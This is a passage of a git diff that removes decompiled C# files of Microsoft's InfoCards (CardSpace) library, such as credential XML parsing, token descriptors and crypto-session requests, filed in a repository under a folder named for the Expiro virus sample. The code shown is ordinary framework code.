this.m_selectorMap[CredentialSelectorType.X509CertificateKeyHashSelector].WriteXml(writer); - writer.WriteEndElement(); - } - writer.WriteEndElement(); - } - - public void ReadXml(XmlReader reader) - { - if (!reader.IsStartElement("TokenService", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - if (!(reader.LocalName == "EndpointReference")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"))); - try - { - this.m_epr = EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader)); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"), ex)); - throw; - } - if ((EndpointAddress) null != this.m_epr && (EndpointAddress) null == Utility.DeriveMexAddress(this.m_epr)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceEprDoesNotHaveValidMetadata"))); - if (reader.LocalName == "UserCredential") - reader.ReadStartElement(); - if (reader.LocalName == "DisplayCredentialHint") - this.m_hint = this.ReadDisplayCredentialHint(reader); - switch (reader.LocalName) - { - case "UsernamePasswordCredential": - this.CredentialType = TokenFactoryCredentialType.UserNamePasswordCredential; - if (!reader.IsEmptyElement) - { - while (reader.Read() && (!(reader.LocalName == "UsernamePasswordCredential") || reader.NodeType != XmlNodeType.EndElement)) - { - if (reader.LocalName == "Username") - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - break; - } - reader.ReadStartElement(); - break; - case "KerberosV5Credential": - this.CredentialType = TokenFactoryCredentialType.KerberosCredential; - if (!reader.IsEmptyElement) - { - while (reader.Read() && (!(reader.LocalName == "KerberosV5Credential") || reader.NodeType != XmlNodeType.EndElement)) - { - if (reader.LocalName == "UserPrincipalName") - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - break; - } - reader.ReadStartElement(); - break; - case "SelfIssuedCredential": - this.CredentialType = TokenFactoryCredentialType.SelfIssuedCredential; - reader.ReadStartElement(); - CredentialSelector credentialSelector1 = new CredentialSelector(); - credentialSelector1.ReadXml(reader); - if (credentialSelector1.IsComplete()) - this.CredentialSelectors.Add(credentialSelector1.Type, credentialSelector1); - reader.ReadEndElement(); - break; - case "X509V3Credential": - this.CredentialType = TokenFactoryCredentialType.X509CertificateCredential; - this.ReadX509V3CredentialElement(reader); - reader.ReadEndElement(); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("NoAuthenticationServicesInCard"))); - } - reader.ReadEndElement(); - } - - public string ReadDisplayCredentialHint(XmlReader reader) => reader.IsStartElement("DisplayCredentialHint", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.ReadElementContentAsString().Trim() : throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - - private void ReadX509V3CredentialElement(XmlReader reader) - { - if (!reader.IsStartElement("X509V3Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - if (!("http://www.w3.org/2000/09/xmldsig#" == reader.NamespaceURI) || !("X509Data" == reader.LocalName)) - return; - while (reader.Read()) - { - if (reader.IsStartElement("X509IssuerSerial", "http://www.w3.org/2000/09/xmldsig#")) - { - reader.ReadStartElement(); - CredentialSelector credentialSelector1 = new CredentialSelector(); - credentialSelector1.ReadXml(reader); - CredentialSelector credentialSelector2 = new CredentialSelector(); - credentialSelector2.ReadXml(reader); - if (credentialSelector2.IsComplete() && credentialSelector1.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector1.Type, credentialSelector1); - this.CredentialSelectors.Add(credentialSelector2.Type, credentialSelector2); - } - reader.ReadEndElement(); - break; - } - if (reader.IsStartElement("KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd")) - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - while (!("X509Data" == reader.LocalName) || !("http://www.w3.org/2000/09/xmldsig#" == reader.NamespaceURI) || XmlNodeType.EndElement != reader.NodeType) - { - if (!reader.Read()) - return; - } - reader.ReadEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenDescriptor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenDescriptor.cs deleted file mode 100644 index 4da8f339..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenDescriptor.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenDescriptor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IO; -using System.Security.Cryptography; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class TokenDescriptor : IDisposable - { - private string m_tokenId; - private DateTime m_effectiveTime; - private DateTime m_expirationTime; - private XmlElement m_protectedToken; - private DisplayToken m_displayToken; - private SymmetricAlgorithm m_symmetricProof; - private string m_internalTokenReference; - private string m_externalTokenReference; - private List m_disclosedClaims; - private bool m_disposed; - private object m_sync; - - public TokenDescriptor( - string tokenId, - DateTime effectiveTime, - DateTime expirationTime, - XmlElement protectedToken, - DisplayToken displayToken, - SymmetricAlgorithm symmetricProof, - string internalTokenReference, - string externalTokenReference, - IEnumerable disclosedClaims) - { - this.m_sync = new object(); - this.m_tokenId = tokenId; - this.m_effectiveTime = effectiveTime; - this.m_expirationTime = expirationTime; - this.m_protectedToken = protectedToken; - this.m_displayToken = displayToken; - this.m_symmetricProof = symmetricProof; - this.m_internalTokenReference = internalTokenReference; - this.m_externalTokenReference = externalTokenReference; - this.m_disclosedClaims = new List(disclosedClaims); - } - - public ReadOnlyCollection DisclosedClaims => this.m_disclosedClaims.AsReadOnly(); - - public string TokenId => this.m_tokenId; - - public DateTime EffectiveTime => this.m_effectiveTime; - - public DateTime ExpirationTime => this.m_expirationTime; - - public string InternalTokenReference => this.m_internalTokenReference; - - public string ExternalTokenReference => this.m_externalTokenReference; - - public XmlElement ProtectedToken => this.m_protectedToken; - - public DisplayToken DisplayToken => this.m_displayToken; - - public SymmetricAlgorithm SymmetricProof => this.m_symmetricProof; - - public void Write(BinaryWriter bwriter) - { - bwriter.Write(this.m_effectiveTime.ToFileTimeUtc()); - bwriter.Write(this.m_expirationTime.ToFileTimeUtc()); - Utility.SerializeString(bwriter, this.m_protectedToken.OuterXml); - Utility.SerializeString(bwriter, this.m_internalTokenReference); - Utility.SerializeString(bwriter, this.m_externalTokenReference); - } - - public void Dispose() - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - if (this.m_symmetricProof != null) - { - this.m_symmetricProof.Dispose(); - this.m_symmetricProof = (SymmetricAlgorithm) null; - } - this.m_protectedToken = (XmlElement) null; - this.m_expirationTime = DateTime.MinValue; - this.m_effectiveTime = DateTime.MinValue; - this.m_tokenId = (string) null; - this.m_externalTokenReference = (string) null; - this.m_internalTokenReference = (string) null; - this.m_disclosedClaims = (List) null; - this.m_displayToken = (DisplayToken) null; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryBase.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryBase.cs deleted file mode 100644 index 10607c8b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryBase.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryBase -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal abstract class TokenFactoryBase : ITokenFactory - { - private bool m_aborted; - - public bool IsAborted => this.m_aborted; - - public TokenDescriptor CreateToken( - InfoCard infoCard, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - TokenCreationParameter parameters = (TokenCreationParameter) null; - if (credential != null && -1 != credential.ParameterIndex) - parameters = infoCard.CreationParameters[credential.ParameterIndex]; - return this.ProduceToken(infoCard, parameters, credential, policy, discloseOptional); - } - - public void Abort() - { - this.OnAbort(); - this.m_aborted = true; - } - - protected abstract TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter parameters, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional); - - protected virtual void OnAbort() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryCredential.cs deleted file mode 100644 index 8ee4ff7e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryCredential.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal abstract class TokenFactoryCredential : IDisposable - { - public const int NoCredential = -1; - private TokenFactoryCredentialType m_type; - private Uri m_cardId; - private int m_paramIndex; - private int m_lcid; - - protected TokenFactoryCredential(TokenFactoryCredentialType type) => this.m_type = type; - - public void Dispose() => this.Dispose(true); - - public virtual void Dispose(bool disposing) - { - } - - public static TokenFactoryCredential CreateFrom( - BinaryReader reader, - UIAgentRequest request, - int lcid) - { - TokenFactoryCredential from; - switch (reader.ReadInt32()) - { - case -1: - from = (TokenFactoryCredential) null; - break; - case 1: - from = (TokenFactoryCredential) new UserNameTokenFactoryCredential(); - from.Deserialize(reader); - break; - case 2: - from = (TokenFactoryCredential) new SelfIssuedTokenFactoryCredential(); - from.Deserialize(reader); - break; - case 3: - from = (TokenFactoryCredential) new X509CertificateTokenFactoryCredential(request); - from.Deserialize(reader); - break; - case 4: - from = (TokenFactoryCredential) new KerberosTokenFactoryCredential(); - from.Deserialize(reader); - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - from = (TokenFactoryCredential) null; - break; - } - if (from != null) - from.LCID = lcid; - return from; - } - - public int ParameterIndex => this.m_paramIndex; - - public TokenFactoryCredentialType CredentialType => this.m_type; - - public int LCID - { - get => this.m_lcid; - set => this.m_lcid = value; - } - - public Uri CardId => this.m_cardId; - - private void Deserialize(BinaryReader reader) - { - this.m_cardId = new Uri(Utility.DeserializeString(reader)); - this.m_paramIndex = reader.ReadInt32(); - this.DeserializeData(reader); - } - - protected abstract void DeserializeData(BinaryReader reader); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryCredentialType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryCredentialType.cs deleted file mode 100644 index d9d059b5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryCredentialType.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryCredentialType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum TokenFactoryCredentialType - { - LocalCredential = -1, // 0xFFFFFFFF - Invalid = 0, - UserNamePasswordCredential = 1, - SelfIssuedCredential = 2, - X509CertificateCredential = 3, - KerberosCredential = 4, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryFactory.cs deleted file mode 100644 index 2162e9aa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenFactoryFactory.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Net; -using System.ServiceModel.Description; - -namespace Microsoft.InfoCards -{ - internal sealed class TokenFactoryFactory - { - private TokenFactoryFactory() - { - } - - public static ITokenFactory Create( - InfoCard infoCard, - TokenCreationParameter parameter, - ServiceEndpoint endPoint, - IWebProxy proxy) - { - return !infoCard.IsSelfIssued ? (ITokenFactory) new RemoteTokenFactory(endPoint, proxy) : (ITokenFactory) new SelfIssuedSamlTokenFactory(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformBlockRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformBlockRequest.cs deleted file mode 100644 index 2fb856a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformBlockRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformBlockRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformBlockRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - private int m_outBlockSize; - - public TransformBlockRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_inBlock == null || 0 == this.m_inBlock.Length, "inBlock"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlockSize = ((TransformCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).TransformBlock(this.m_inBlock, out this.m_outBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.OutArgs, "OutArgs"); - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.m_outBlock, "outBlock"); - Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock, 0, this.m_outBlockSize); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformCryptoSession.cs deleted file mode 100644 index 3188a6e4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformCryptoSession.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformCryptoSession : CryptoSession - { - private ICryptoTransform m_icrypto; - - public TransformCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - ICryptoTransform icrypto) - : base(process, expiration, identity, (object) icrypto, CryptoSession.SessionType.Transfrom) - { - this.m_icrypto = icrypto; - } - - protected override void OnDispose() => this.m_icrypto.Dispose(); - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_icrypto.InputBlockSize); - bwriter.Write(this.m_icrypto.OutputBlockSize); - bwriter.Write(this.m_icrypto.CanTransformMultipleBlocks); - bwriter.Write(this.m_icrypto.CanReuseTransform); - } - - public int TransformBlock(byte[] inData, out byte[] outData) - { - outData = new byte[this.m_icrypto.OutputBlockSize]; - return this.m_icrypto.TransformBlock(inData, 0, inData.Length, outData, 0); - } - - public byte[] TransformFinalBlock(byte[] inData) => this.m_icrypto.TransformFinalBlock(inData, 0, inData.Length); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformFinalBlockRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformFinalBlockRequest.cs deleted file mode 100644 index 2bba8cc9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TransformFinalBlockRequest.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TransformFinalBlockRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class TransformFinalBlockRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - - public TransformFinalBlockRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_inBlock == null || 0 == this.m_inBlock.Length, "inBlock"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlock = ((TransformCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).TransformFinalBlock(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TrustExchangeException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TrustExchangeException.cs deleted file mode 100644 index 43859fb6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TrustExchangeException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TrustExchangeException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TrustExchangeException : InfoCardBaseException - { - private const int HRESULT = -1073413871; - - public TrustExchangeException() - : base(-1073413871) - { - } - - public TrustExchangeException(string message) - : base(-1073413871, message) - { - } - - public TrustExchangeException(string message, Exception inner) - : base(-1073413871, message, inner) - { - } - - protected TrustExchangeException(SerializationInfo si, StreamingContext sc) - : base(-1073413871, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs deleted file mode 100644 index 3dc30ed8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentAsyncBeginRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.ComponentModel; -using System.IO; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentAsyncBeginRequest : UIAgentRequest - { - private SafeWaitHandle m_agentEventHandle; - private int m_asyncHandle; - - public UIAgentAsyncBeginRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override sealed void OnMarshalInArgs() - { - IntPtr zero = IntPtr.Zero; - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - using (SafeWaitHandle hRemote = new SafeWaitHandle(Utility.ReadHandle(binaryReader), false)) - this.m_agentEventHandle = Utility.GetLocalHandleFromRemoteHandle(hRemote, this.ParentRequest.UIAgentPid); - this.OnMarshalAsyncInArgs(binaryReader); - } - - protected virtual void OnMarshalAsyncInArgs(BinaryReader reader) - { - } - - protected override void OnProcess() - { - AsyncParams asyncParams = this.CreateAsyncParams(); - asyncParams.AsyncResult.CancelCallback = new RpcAsyncResult.AsyncCancelCallback(this.AsyncCancel); - InfoCardTrace.Assert(null != asyncParams, "Null AsyncParams"); - try - { - this.m_asyncHandle = asyncParams.AsyncResult.Handle; - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async context handle"); - if (!ThreadPool.QueueUserWorkItem(InfoCardTrace.ThunkCallback(new WaitCallback(this.AsyncEntry)), (object) asyncParams)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UnableToQueueThreadpool"))); - } - catch - { - asyncParams.AsyncResult.Dispose(); - throw; - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - InfoCardTrace.Assert(0 != this.m_asyncHandle, "null async handle"); - binaryWriter.Write(this.m_asyncHandle); - } - - protected override void OnDisposeAsUser() - { - if (this.m_agentEventHandle == null) - return; - this.m_agentEventHandle.Dispose(); - this.m_agentEventHandle = (SafeWaitHandle) null; - } - - protected virtual AsyncParams CreateAsyncParams() - { - AsyncParams asyncParams = (AsyncParams) new UIAgentAsyncParams(this.GetType().Name, (ClientRequest) this.ParentRequest, this.m_agentEventHandle, (UIAgentRequest) this); - this.m_agentEventHandle = (SafeWaitHandle) null; - return asyncParams; - } - - protected abstract object AsyncExecute(AsyncParams asyncParam); - - protected abstract void AsyncCancel(); - - private void AsyncEntry(object state) - { - AsyncParams 